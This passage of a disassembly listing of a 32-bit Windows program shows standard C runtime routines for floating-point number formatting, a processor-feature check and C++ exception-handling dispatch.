		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_424828
		fstp	[ebp+var_8]
		fld	ds:dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:off_424100
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_4240DC
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax ; sub_417D73
		retn
; ---------------------------------------------------------------------------

loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF

loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	ds:dword_4397AC, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------

loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883

loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, ds:byte_4397B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, ds:byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5

loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9

loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916

loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------

loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax

loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax

loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; _2:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_48A084,	0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h

loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_48A084,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h

loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl

loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_48A084,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, ds:dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------

loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h

loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------

loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax

loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, ds:byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	ds:byte_48A084,	0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------

loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35

loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi

loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h

loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	ds:dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, ds:dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_48A088, ecx
		setl	cl
		mov	ds:byte_48A08C,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6

loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al

loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------

loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h

loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_48A084,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	ds:byte_48A084,	0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_48A084,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	ds:byte_48A084,	0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D

loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi

loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: _0:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552

loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------

loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------

loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h

loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax

loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A

loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552

loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, ds:dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, ds:dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552

loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552

loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax

loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E

loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B

loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C

loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
		add	esp, 2Ch

loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]

loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------

loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx

loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------

loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90

loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax

loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88

loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
		add	esp, 2Ch

loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------

loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7

loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7

loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7

loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB

loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax

loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; sub_41D0A5+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
